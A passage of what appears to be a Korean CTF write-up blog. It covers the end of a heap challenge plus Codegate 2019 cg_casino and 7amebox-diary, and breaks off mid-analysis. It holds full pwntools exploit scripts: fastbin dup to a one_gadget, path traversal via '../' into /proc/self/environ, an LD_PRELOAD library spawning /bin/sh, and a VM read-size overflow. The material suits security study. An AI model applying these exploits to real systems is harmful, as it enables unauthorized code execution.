    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, b"HHHH", b"7777")

먼저 위 payload를 실행하면 password 구조체는 다음과 같은 값을 가지게 된다.

gef➤
0x555555558128: 0x000055555555d1d0      0x0000000035353535
0x555555558138: 0x0000000000000000      0x0000000000000000
0x555555558148: 0x0000000000000000
gef➤
0x555555558150: 0x000055555555d160      0x0000000036363636
0x555555558160: 0x0000000000000000      0x0000000000000000
0x555555558170: 0x0000000000000000
gef➤
0x555555558178: 0x000055555555d240      0x0000000037373737
0x555555558188: 0x0000000000000000      0x0000000000000000
0x555555558198: 0x0000000000000000

Double free 취약점을 트리거하기 위해 7777의 0x55555555d240을 5555의 0x55555555d1d0으로 덮어야한다.

여기에서 credential의 사이즈가 0x60인 이유는 후술하도록 하고, 0x60짜리 chunk를 3개 할당받다보니 chunk 주소의 두 번째 바이트가 달라진다. 0xd1d0 중 0x1d0은 고정이고 0xd000부분만 변동될 것이므로 여기에서 1/16 확률로 exploit에 성공한다.

Fastbin을 어떻게 잘 조작하거나 heap leak을 하면 가능할 것 같긴 한데 확률이 그리 낮지 않아서 그냥 진행하기로 했다.

    delete(s, b"6")
    save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
    
    delete(s, b"5")
    delete(s, b"6")
    delete(s, b"7")

위 payload와 같이 7777의 credential을 5555의 credential과 일치시키고 5555, 6666, 7777순으로 free를 하게 되면 다음과 같이 fastbin이 구성된다.

0x55555555d1d0 -> 0x55555555d160 -> 0x55555555d1d0

이제 malloc을 통해 0x60 사이즈의 chunk를 요청하면 0x55555555d1d0을 할당받을 수 있고, 여기에 stack의 주소를 쓴 뒤 해당 주소 위에 fake chunk header를 쓸 수 있다면 fastbin list에 추가된다.

따라서 거꾸로 fake chunk header를 구성할 수 있는 stack의 위치를 찾아보았는데, 처음에는 save()의 stack을 활용하려고 했다.

unsigned __int64 save_12EE()
{
  unsigned int len; // [rsp+8h] [rbp-68h] BYREF
  int i; // [rsp+Ch] [rbp-64h]
  ...
}

len, i를 이용하여 fake chunk header를 구성하면 return address까지 0x70만큼 차이가 나므로 최대 할당 크기인 0x78보다 작아 가능할 것 같았다.

그런데 문제는 0x70 크기의 chunk를 할당받으려면 len에 0x70을 입력해야 하는데, fake chunk header를 구성할 때는 len에 0x80을 입력해야 size가 맞기 때문에 모순이 생긴다.

그래서 다른 영역을 찾아야했는데 return을 해서 종료하는 함수가 없어서 고민하다가, save()에서 영역을 할당받고 read를 할 때 read()의 return address를 덮으면 가능할 것 같았다.

unsigned __int64 save_12EE()
{
  ...
  password_4060[i].credential = malloc(len);
  printf("Enter credentials: ");
  read(0, password_4060[i].credential, (len + 1));
  ...
}

문제는 다시 fake chunk header인데, read()의 return address를 덮을 수 있는 영역을 malloc() 직전에 확인해보면 다음과 같다.

gef➤  x/16gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdbe0: 0x00007fffffffdce0      0x00007ffff7a6dd8e
0x7fffffffdbf0: 0x00007ffff7ff4000      0x0000003000000008
0x7fffffffdc00: 0x00007fffffffdcd0      0x00007fffffffdc10
0x7fffffffdc10: 0x000000000000000a      0x00007fffffffdcd4
0x7fffffffdc20: 0x0000000000000000      0x00007ffff7b030c3
0x7fffffffdc30: 0x0000000000000000      0x00007fffffffdcc0
0x7fffffffdc40: 0x00005555555551a0      0x0000555555555397

0x7fffffffdbf8에 0x60이 저장되어있지만 이 값은 malloc()에 인자로 전달된 값이 내부 로직을 실행하다가 저장된 값으로 이전의 모순이 똑같이 발생한다.

여기에서 트릭이 하나 있는데, chunk header는 굳이 alignment가 맞지 않아도 되기 때문에 stack 주소의 가장 상위 바이트가 0x7f인 점을 생각해서 메모리를 다시 출력해보았다.

gef➤  x/16gx 0x7fffffffdbd5
0x7fffffffdbd5: 0x0000000000000000      0xffffffdce0000000
0x7fffffffdbe5: 0xfff7a6dd8e00007f      0xfff7ff400000007f
0x7fffffffdbf5: 0x300000000800007f      0xffffffdcd0000000
0x7fffffffdc05: 0xffffffdc1000007f      0x000000000a00007f
0x7fffffffdc15: 0xffffffdcd4000000      0x000000000000007f
0x7fffffffdc25: 0xfff7b030c3000000      0x000000000000007f
0x7fffffffdc35: 0xffffffdcc0000000      0x55555551a000007f
0x7fffffffdc45: 0x5555555397000055      0x555555618f000055

이렇게 fake chunk header로 활용할 수 있는 영역이 0x7fffffffdc15와 0x7fffffffdc25 두 군데가 있는데, fd를 0x7fffffffdc15로 설정할 경우는 malloc()에 실패하고, 0x7fffffffdc25로 설정할 경우는 malloc()에 성공한다.

예상되는 이유는 해당 영역이 현재 함수의 stack 바로 위 영역이라서 malloc()의 stack 영역과 겹치게 되고, malloc() 내부적으로 stack을 사용하다가 0x7fffffffdc15에 저장된 값이 overwrite되는 것으로 추정된다.

어쨌거나 0x7fffffffdc25를 fd로 설정하기 위해 획득한 stack 주소와의 offset을 계산해서 0x55555555d1d0을 할당받은 후 입력해주면 fastbin은 다음과 같이 구성된다.

0x55555555d160 -> 0x55555555d1d0 -> 0x7fffffffdc35

따라서 이후 3번째 malloc()에서 stack의 주소가 반환되고, offset을 계산해서 read()의 return address를 one shot 가젯으로 덮어주면 된다.

    payload = p64(stack - 0xa3)
    save(s, 0x60, payload, b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, payload, b"7777")
    
    delete(s, b"0")
    one_gadget = 0xe1fa1
    payload = b"A" * 0x13
    payload += p64(libc + one_gadget)
    save(s, 0x68, payload, b"0000", fin = 1)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "vspm"
code_base = 0x0000555555554000
bp = {
    'save' : code_base + 0x12EE,
    'malloc_of_save' : code_base + 0x1414,
    'check' : code_base + 0x14ED,
    'cred' : code_base + 0x4060,
}

gs = f'''
continue
b *{bp['malloc_of_save']}
'''
context.terminal = ['tmux', 'splitw', '-hf']

def save(s, length, cred, name, fin = 0):
    s.sendline(b"1")
    s.recvuntil(b"length: ")
    s.sendline(str(length).encode())
    s.recvuntil(b"credentials: ")
    s.send(cred)
    if fin:
        return
    s.recvuntil(b"credentials: ")
    s.send(name)
    return s.recvuntil(b"Input: ")

def check(s):
    s.sendline(b"2")
    return s.recvuntil(b"Input: ")

def delete(s, index):
    s.sendline(b"3")
    s.recvuntil(b"index: ")
    s.sendline(index)
    return s.recv()

def main(port, debug):
    if(port):
        s = remote("0.0.0.0", port)
    else:
        s = process(BINARY)
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    log.info(f"cred : {hex(bp['cred'])}")
    s.recv()

    payload = p64(0)                                # fake chunk -> prev_size
    payload += p64(0x111)                           # fake chunk -> size
    save(s, 0x30, payload, b"0000")
    save(s, 0x30, b"BBBB", b"1111")
    save(s, 0x30, b"CCCC", b"2222")
    save(s, 0x40, b"DDDD", b"3333")
    save(s, 0x30, payload, b"4444")
    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")

    # libc leak
    delete(s, b"1")                                 # free "1111"
    save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20")   # alloc "1111" and overwrite next pointer
    delete(s, b"2")                                 # free fake chunk -> unsorted bin
    save(s, 0x30, b"\xc0", b"2222")                 # alloc from unsorted bin
    
    r = check(s)
    arena = 0x3b4cc0
    libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
    log.info(f"libc : {hex(libc)}")
    
    # flush unsorted bin
    save(s, 0x60, b"HHHH", b"7777")
    save(s, 0x50, b"IIII", b"8888")
    delete(s, b"7")
    delete(s, b"8")

    # stack leak
    delete(s, b"0")
    environ = 0x3b75d8
    payload = b"0" * 0x20
    payload += p64(libc + environ)
    save(s, 0x30, b"AAAA", payload)

    r = check(s)
    stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
    log.info(f"stack : {hex(stack)}")

    # fastbin dup
    delete(s, b"5")
    delete(s, b"6")

    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, b"HHHH", b"7777")
    pause()

    delete(s, b"6")
    save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
    
    delete(s, b"5")
    delete(s, b"6")
    delete(s, b"7")
    
    payload = p64(stack - 0xa3)
    save(s, 0x60, payload, b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, payload, b"7777")
    
    delete(s, b"0")
    one_gadget = 0xe1fa1
    payload = b"A" * 0x13
    payload += p64(libc + one_gadget)
    save(s, 0x68, payload, b"0000", fin = 1)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.port, args.debug)

Codegate CTF 2019 Quals - cg_casino

2024-08-01T00:00:00+00:00

0x00. Introduction

[*] '/home/user/cg_casino'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Concept

➜  nc 0 6677
$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$  CG CASINO $$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
>

세 개의 카지노 게임과 put voucher와 merge voucher 기능이 구현되어있다.

0x01. Vulnerability

Stack Overflow

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  char new[48]; // [rsp+30h] [rbp-60h] BYREF
  char old[40]; // [rsp+60h] [rbp-30h] BYREF
  ...
    switch ( choice )
    {
      case 1:
        memset(new, 0, 0x28uLL);
        printf("input voucher : ");
        read_401108((__int64)new);
        len32_alnum_4010A4(new);
        break;
      case 2:
        memset(old, 0, sizeof(old));
        printf("input old voucher : ");
        read_401108((__int64)old);
        xstat_unlink_400F09(new, old);
        break;
    }
  ...
}

먼저 voucher를 put하거나 merge하기 위해 voucher 이름을 입력받는데, read_401108()에서 입력을 받게 된다.

unsigned __int64 __fastcall read_401108(__int64 a1)
{
  ...
  while ( 1 )
  {
    if ( (unsigned int)read(0, &buf, 1uLL) != 1 )
      exit(-1);
    if ( buf == 10 )
      break;
    index = i++;
    *(_BYTE *)(a1 + index) = buf;
  }
  v1 = i++;
  *(_BYTE *)(v1 + a1) = 0;
  ...
}

그런데 입력을 \n이 나올 때까지 1바이트씩 끝없이 받기 때문에 stack의 끝까지 overflow가 발생한다.

하지만 main()에서 return을 하는 부분 없이 바로 exit()을 하기 때문에 RIP control은 어려워 보인다.

Stack Leak

동적 분석을 하다가 우연히 얻어걸렸는데, lotto_4011A7()에서 초기화되지 않은 데이터의 leak이 가능하다.

unsigned __int64 lotto_4011A7()
{
  ...
  int number[6]; // [rsp+10h] [rbp-40h]
  int guess[6]; // [rsp+30h] [rbp-20h] BYREF
  ...
  while ( i <= 5 )
  {
    __isoc99_scanf("%u", &guess[i]);
    getchar();
    if ( (unsigned int)guess[i] <= 44 )
      ++i;
    else
      printf("%u : out of range\n", (unsigned int)guess[i]);
  }
  puts("===================");
  ...
}

원래는 단순히 0~44 범위의 랜덤 숫자 6개를 생성해서 저장한 후, guess 배열에 값을 입력해서 맞추는 게임이다.

그런데 guess 값으로 %u 형식에 맞지 않는, 가령 a가 입력되면 scanf가 실패하고 기존에 저장되어있던 guess의 값을 출력해준다.

GUESS 6 Numbers!
===================
|  |  |  |  |  |  |
===================
a a a a a a
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range

File Copy

사실 취약점이라기보다는 바이너리에 주어진 기능인데, merge voucher에서 다음 함수가 호출된다.

unsigned __int64 __fastcall xstat_unlink_400F09(const char *new, char *old)
{
  ...
  if ( strlen(old) == 32 )
  {
    if ( xstat_4016D0(old, &n_4) == -1 )
    {
      puts("voucher doesn't exist");
    }
    else if ( n_4.st_size <= 4096 )
    {
      fd_old = open(old, 0);
      if ( fd_old != -1 )
      {
        len = read(fd_old, buf, 4096uLL);
        close(fd_old);
        fd_new = open(new, 66, 384LL);
        if ( fd_new != -1 )
        {
          write(fd_new, buf, len);
          close(fd_new);
          unlink(old);
        }
        memset(buf, 0, 0x1000uLL);
      }
    }
    ...
  }
}

put voucher를 통해서 stack의 new에 파일명을 지정해두면, 파일명이 32바이트인 파일을 /home/cg_casino/voucher/ 디렉토리로 옮길 수 있다. 입력한 내용에 대한 검증이 따로 없으므로 길이 제한은 ../, ./를 잘 조합해서 우회할 수 있다.

../../../../../../././etc/passwd

0x02. Exploit

File Drop

취약점은 이게 끝인데, 문제는 파일을 서버에 올릴 방법이 없다. 어떻게든 파일을 서버에 올린 다음 merge voucher 기능을 이용해서 파일을 /home/cg_casino/voucher/ 경로로 옮긴 후 다음 단계로 넘어가야할 것 같은데…

그러다가 /proc/self/environ 파일에서 다음 내용을 발견했다.

cg_casino@3197b44a521a:~/voucher$ cat /proc/1203/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3197b44a52
1aERASER2=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...

AAAA는 docker-compose.yml 파일에서 정의된 환경변수 값들인데, 앞부분은 다른 내용으로 바뀐 것을 보니 실행 중 값을 반영하는 것 같았다.

실제로 stack의 끝에 있는 환경변수까지 값을 덮어보니 다음과 같이 /proc/self/environ 파일이 변경된 것을 확인할 수 있었다.

cg_casino@3197b44a521a:~/voucher$ cat /proc/1241/environ
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
...

따라서 이런 식으로 stack의 값을 조작해서 /proc/self/environ에 파일의 형태로 남길 수 있다.

Stack Overflow & File Copy

/proc/self/environ에 libc 데이터를 쓰고 그것을 /home/cg_casino/voucher로 가져오기 위한 조건은 총 3개이다.

main의 new가 /home/cg_casino/voucher에 저장할 파일명일 것
main의 old가 길이가 32이고 /proc/self/environ 파일을 가리킬 것
stack 끝의 환경변수가 저장된 공간에 libc 데이터가 쓰여질 것

따라서 다음과 같이 payload를 구성했다.

    payload = b"mylib.so\x00"
    payload += b"\x00" * (env - buf - len(payload))
    payload += lib_data
    payload += b"\x00" * (3432 - (len(payload)))
    put_voucher(s, payload)

    merge_voucher(s, b"../../../../../proc/self/environ")

한편 이 과정에서 read_401108()를 이용해서 입력을 받기 때문에 libc에 \x0a가 있으면 데이터가 짤릴 위험이 있다. 실제로도 \x0a가 있어서 혹시나 하는 마음에 \x0b로 바꿔봤는데 다행히 libc가 잘 작동했다.

    with open("./mylib.so", "rb") as f:
        lib_data = f.read()
    lib_data = lib_data.replace(b"\x0a", b"\x0b")

따라서 위 payload를 추가해주어야 한다.

Small Libc

여기에서 문제가 하나 더 있는데 환경변수 영역도 한도가 있기 때문에 merge voucher로 가져올 수 있는 데이터 길이가 제한되어있다.

root@3197b44a521a:/home/cg_casino/voucher# ls -al
total 16
drwxrwx-wx 1 root      root      4096 Aug  1 05:24 .
drwxr-xr-x 1 root      root      4096 Jul 31 08:08 ..
-rw------- 1 cg_casino cg_casino 3432 Aug  1 05:23 mylib.so

그래서 3432보다 작은 libc가 필요한데, 다음 소스코드를 Ubunut 16.04에서 컴파일해서 사이즈가 작은 libc를 만들 수 있었다.

// gcc -w -znorelro -s -fPIC -shared -nostdlib -o mylib.so mylib.c
__attribute__((destructor))
void on_unload() {
	system("/bin/sh");
}

Ubuntu 22.04에서는 같은 컴파일 옵션을 줘도 사이즈가 꽤 큰데, 컴파일러 버전에 따라서도 이렇게 차이가 심할 수 있다니 알아둬야겠다.

➜  ls -al | grep mylib_from
-rwxr-xr-x 1 user user    2632 Aug  1 08:28 mylib_from1604.so
-rwxr-xr-x 1 user user   10160 Aug  1 14:40 mylib_from2204.so

Stack Leak

앞서 확인한대로 lotto_4011A7()에서 %u 형식이 아닌 데이터를 입력하면 guess[i]의 데이터를 출력할 수 있다. guess는 6개의 integer 배열이므로 총 0x18 길이의 메모리를 확인할 수 있고 초기화되지 않은 상태에서의 guess 값을 확인해보면,

gef➤  x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000      0x00007ffff7ffe168
0x7fffffffdf00: 0x0000000000000000

libc 영역의 주소가 남아있는데 필요한 주소값이 뭔지 생각해보면 stack의 주소에 가깝다. 따라서 다른 함수를 먼저 실행해서 $rsp+0x30 영역에 stack 주소를 남길 수 있는지 확인해보았는데, up_down_40139E()을 호출한 뒤 lotto_4011A7()를 호출하면 가능하다.

gef➤  x/3gx $rsp+0x30
0x7fffffffdef0: 0x0000000000000000      0x00007fffffffdf10
0x7fffffffdf00: 0x0000000000400bb0

guess는 integer이므로 3번째, 4번째 입력을 줄 때 ’a’를 입력하면 4바이트씩 leak이 가능하므로, 다음과 같이 payload를 작성했다.

    updown(s, [1, 1, 1, 1, 1, 1])
    r = lotto(s, b"1 2 a 3 a 4 5 6")
    lower = int(r.split(b" : ")[0])
    upper = int(r.split(b" : ")[1].split(b"\n")[1])
    buf = upper << 32 | lower + 0x40
    log.info(f"buf : {hex(buf)}")

Envp Overwrite

이제 쉘을 실행해주는 libc 파일을 /home/cg_casino/voucher에 안착시켰으니, 이걸 실행만 시키면 된다. 일반적으로 원하는 libc를 로드하는 테크닉으로 LD_PRELOAD 환경변수를 이용하는 방식이 있어서 어떻게 활용할지 고민했다.

현재 libc에 on_unload()를 정의해놓았으므로 두 가지를 확인해야하는데,

exit(0);을 통해서도 on_unload()가 호출되는지
환경변수를 실행 이후에 변경해도 LD_PRELOAD가 적용되는지

테스트 코드를 작성해서 1번은 가능한 것을 확인했는데 아쉽게도 2번이 적용되지 않았다. 따라서 현재 프로세스의 환경변수를 조작해놓고, 그 환경변수를 가져다가 쓰는 프로세스를 실행할 수 있어야 한다.

그러다가 slot_401477()에서 system("/usr/bin/clear");을 사용하는데, 동적 분석을 할 때 다음과 같은 메세지가 출력된 것이 기억났다.

        _______
       |JACKPOT|
=========================
|   ___    ___    ___    |
|  | ? |  | ? |  | ? |   |
|  |___|  |___|  |___|   |
=========================
|________________________|
press any key

TERM environment variable not set

현재 프로세스인 cg_casino는 환경변수가 docker-compose.yml 파일에서 ERASER를 통해 값이 밀려있는 상태이다. 여기에서 system()을 사용할 때 내부적으로 execve()가 호출되는데 이 과정에서 **envp가 전달되는 것 같다.

**envp는 main()이 호출될 때 3번째 인자로 전달되고, main()의 초반에서 다음과 같이 $rbp-0x88에 저장이 된다.

   0x400ca6:    push   rbp
   0x400ca7:    mov    rbp,rsp
   0x400caa:    sub    rsp,0x90
   0x400cb1:    mov    DWORD PTR [rbp-0x74],edi
   0x400cb4:    mov    QWORD PTR [rbp-0x80],rsi
   0x400cb8:    mov    QWORD PTR [rbp-0x88],rdx

이 상태에서 메모리를 따라가보면,

gef➤  x/gx $rbp-0x88
0x7fffffffdf28: 0x00007fffffffe0a8
gef➤  x/10gx 0x00007fffffffe0a8
0x7fffffffe0a8: 0x00007fffffffe276      0x00007fffffffe2b8
0x7fffffffe0b8: 0x00007fffffffe2ce      0x00007fffffffe564
0x7fffffffe0c8: 0x00007fffffffe7fa      0x00007fffffffea90
0x7fffffffe0d8: 0x00007fffffffed26      0x00007fffffffefbc
0x7fffffffe0e8: 0x00007fffffffefc7      0x0000000000000000
gef➤  x/s 0x00007fffffffe276
0x7fffffffe276: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

**envp(0x7fffffffdf28) -> *envp(0x7fffffffe0a8) -> first env(0x7fffffffe276)` 형식으로 구성되어있다.

따라서 이 구성을 잘 따르되, *envp의 끝에는 null을 꼭 넣어주어야 한다.

    payload = b"\x00" * (env_p_p - buf)
    payload += p64(env_p)
    payload += b"\x00" * (env_p - buf - len(payload))
    payload += p64(env)
    payload += b"\x00" * (env - buf - len(payload))
    payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
    put_voucher(s, payload)

    s.sendline(b"5")

문제는 여기서 환경변수가 stack의 끝자락에 위치하게 되는데, 이 offset이 일정하지 않아서 확률 이슈가 발생한다. 차이를 계속 체크해보니 0xXX0 정도 차이가 나는 것으로 보아 1/256 확률로 exploit이 성공할 것 같다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
import sys, os

DEBUG = False
BINARY = "cg_casino"
CONTAINER = "d20ec1bc9a88"

bp = {
    "getchar_of_main" : 0x400CF8,
    "read_bof" : 0x401108,
    "xstat_unlink" : 0x400F09,
    "slotmachine" : 0x401477,
    "lotto" : 0x4011A7,
    "scanf_of_lotto" : 0x40129D,
}

gs = f'''
set follow-fork-mode child
!b *{bp["xstat_unlink"]}
b *{bp["getchar_of_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def put_voucher(s, new):
    s.sendline(b"1")
    s.recvuntil(b" : ")
    s.sendline(new)
    sleep(0.1)
    return s.recvuntil(b"> ")

def merge_voucher(s, old):
    s.sendline(b"2")
    s.recvuntil(b" : ")
    s.sendline(old)
    return s.recvuntil(b"> ")

def lotto(s, numbers):
    s.sendline(b"3")
    sleep(0.1)
    s.recv()
    s.sendline(numbers)
    return s.recvuntil(b"> ")

def updown(s, numbers):
    s.sendline(b"4")
    s.recvuntil(b". \n")
    for number in numbers:
        s.sendline(str(number).encode())
        s.recvuntil(b"it\n")
    return s.recvuntil(b"> ")

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
        pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
        if DEBUG:
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(f"/home/user/{BINARY}")
        if DEBUG:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    
    with open("./mylib.so", "rb") as f:
        lib_data = f.read()
    lib_data = lib_data.replace(b"\x0a", b"\x0b")

    s.recvuntil(b"> ")

    updown(s, [1, 1, 1, 1, 1, 1])
    r = lotto(s, b"1 2 a 3 a 4 5 6")
    lower = int(r.split(b" : ")[0])
    upper = int(r.split(b" : ")[1].split(b"\n")[1])
    buf = upper << 32 | lower + 0x40
    log.info(f"buf : {hex(buf)}")

    env = buf + 0x1796
    env = buf + 0x326
    env_p = buf + 0x158
    env_p_p = buf + 0xe8
    log.info(f"env_p_p : {hex(env_p_p)}")
    log.info(f"env_p : {hex(env_p)}")
    log.info(f"env : {hex(env)}")

    payload = b"mylib.so\x00"
    payload += b"\x00" * (env - buf - len(payload))
    payload += lib_data
    payload += b"\x00" * (3432 - (len(payload)))
    put_voucher(s, payload)
    
    pause()

    merge_voucher(s, b"../../../../../proc/self/environ")

    payload = b"\x00" * (env_p_p - buf)
    payload += p64(env_p)
    payload += b"\x00" * (env_p - buf - len(payload))
    payload += p64(env)
    payload += b"\x00" * (env - buf - len(payload))
    payload += b"LD_PRELOAD=/home/cg_casino/voucher/mylib.so\x00"
    put_voucher(s, payload)

    s.sendline(b"5")

    s.interactive()

if __name__=='__main__':
    main()

Codegate CTF 2019 - 7amebox-diary

2024-07-30T00:00:00+00:00

0x00. Introduction

역시 기본적인 구조는 7amebox-name과 동일하다.

➜  ls -al
total 64
drwxr-xr-x  2 user user  4096 Jul 30 08:48 .
drwxr-x--- 24 user user  4096 Jul 30 08:49 ..
-rw-r--r--  1 user user   527 Jul 17 03:04 Dockerfile
-rwxr-xr-x  1 user user 30804 Jul 17 03:02 _7amebox_patched.py
-rw-r--r--  1 user user  4560 Jul 17 03:02 diary.firm
-rw-r--r--  1 user user    41 Jul 17 03:03 flag
-rwxr-xr-x  1 user user    22 Jul 17 03:02 run.sh
-rwxr-xr-x  1 user user   323 Jul 17 03:02 vm_diary.py

Structure

struct diary {
    char title[30];
    char contents[1200];
    char dummpy[30];
    char key[1200];
};

Concept

void main() {
    int choice;
    int canary;

    print(string_0x6c3);
    print("1) list\n2) write\n3) show\n4) edit\n5) quit\n>");
    read(choice, 3);

    while(1) {
        if(choice == '1')
            list_0x12e();
        else if(choice == '2')
            write_0x1f0();
        else if(choice == '3')
            show_0x319();
        else if(choice == '4')
            edit_0x452();
        else if(choice == '5')
            exit_0x23();
    }
}

diary 구조체를 write를 이용해서 생성하고 list 및 show로 출력, edit으로 수정할 수 있는 firmware이다.

0x01. Vulnerability

7amebox-name보다 firmware 사이즈가 많이 커져서 일단 C로 포팅을 했는데 아무리 봐도 취약점이 없었다. 그래서 emulator쪽 코드를 다시 보다보니 이런 코드가 있었다.

class Stdin:
    def read(self, size):
        res = ''
        buf = sys.stdin.readline(size)
        for ch in buf:
            if ord(ch) > 0b1111111:
                break
            if ch == '\n':
                res += ch
                break
            res += ch
        return res

    def write(self, data):
        return None

1byte가 7bit인 환경이기 때문에 0x80보다 큰 값을 입력받으면 입력이 끊기고 return한다. 별거 아닌 것 같지만 이러면 write를 할 때 큰 취약점이 발생한다.

   0x286:  10 5b           mov r5, bp     
   0x288:  2e 50 06 00 00  sub r5, 0x6    
   0x28d:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x28f:  26 60 1e 00 00  add r6, 0x1e   
   0x294:  12 10 30 00 09  mov r1, 0x4b0  
   0x299:  10 06           mov r0, r6     
   0x29b:  7b 50 6f 00 06  call read_0x60f ; read(memory + 30, 1200);
   0x2a0:  48 00           dec r0         
   0x2a2:  10 5b           mov r5, bp     
   0x2a4:  2e 50 06 00 00  sub r5, 0x6    
   0x2a9:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x2ab:  26 60 1e 00 00  add r6, 0x1e   
   0x2b0:  24 60           add r6, r0     
   0x2b2:  0d 76           strb ('zero', [{'r6'}]) ; [r6] = zero
   0x2b4:  10 5b           mov r5, bp     
   0x2b6:  2e 50 06 00 00  sub r5, 0x6    
   0x2bb:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x2bd:  26 60 6c 00 09  add r6, 0x4ec  
   0x2c2:  10 10           mov r1, r0     
   0x2c4:  10 06           mov r0, r6     
   0x2c6:  7b 50 44 00 06  call read_0x60f ; read(memory + 1260, r0)

write는 title -> contents -> key 순서로 입력을 받는데 contents와 key를 xor해서 저장하기 때문에 contents와 key를 같은 길이로 입력해야한다.

Assembly에서 보면 contents를 입력받는 0x29b에서 결과값인 r0의 값을 가지고 바로 key를 입력받을 길이를 결정하게 된다.

이 과정에서 마지막 \n을 없애주기 위해 0x2a0에서 dec r0를 수행하는데, Stdin에 0x80보다 큰 값을 줘서 r0를 0으로 만들면 key를 입력받을 길이가 -1이 되어버린다.

r0 : 0x3
r1 : 0x0
r2 : 0xc44ec
r3 : -0x1
r4 : 0x0
r5 : 0xf5fc5
r6 : 0xc44ec
r7 : 0xc4000
r8 : 0x3
r9 : 0x18ed55
r10 : 0x59000
bp : 0xf5fcb
sp : 0xf5fb6
pc : 0x625
eflags : 0x1
zero : 0x0
PC : 20 00           syscall

그러면 이 syscall이 어떻게 처리되는지 확인해야하는데,

    def sys_s3(self):   # read
        fd = self.register.get_register('r1')
        buf = self.register.get_register('r2')
        size = self.register.get_register('r3')

        if 0 <= fd < len(self.pipeline):
            res = self.pipeline[fd].read(size)
            data = map(ord, res)   # Stdin.read(size)
            self.write_memory(buf, data, len(data))
            self.register.set_register('r0', len(data) & 0b111111111111111111111)
        else:
            self.register.set_register('r0', 0)

다행히 size가 0보다 작은 경우를 처리하지 않기 때문에 0b111111111111111111111만큼 입력을 받는 엄청난 overflow가 발생하게 된다.

    def write_memory(self, addr, data, length):
        if not length:
            return

        if self.memory.check_permission(addr, PERM_WRITE) and self.memory.check_permission(addr + length - 1, PERM_WRITE):
            for offset in range(length):
                self.memory[addr + offset] = data[offset] & 0b1111111
        else:
            self.terminate("[VM] Can't write memory")

또한 write_memory에서 메모리를 쓰기 시작하는 page와 끝나는 page의 권한만 확인하기 때문에 중간 page들에 권한이 없더라도 쓰기가 가능하다.

0x02. Exploit

Canary Leak

   0x587:  10 5b           mov r5, bp     
   0x589:  2e 50 03 00 00  sub r5, 0x3    
   0x58e:  00 65           ldr r6, [r5] ; r6 = [r5]
   0x590:  5c 69           cmp r6, r9     
   0x592:  73 50 06 00 00  je pc + 0x6 ; jne if A == B ; not FLAG_ZF
   0x597:  11 4b           mov sp, bp     
   0x599:  1d 30           pop bp         
   0x59b:  1d 50           pop pc

stack_chk_fail_0x59d:         
   0x59d:  12 00 04 00 13  mov r0, 0x984  
   0x5a2:  7b 50 3a 00 01  call print_0x661
   0x5a7:  54 00           xor r0, r0     
   0x5a9:  20 00           syscall

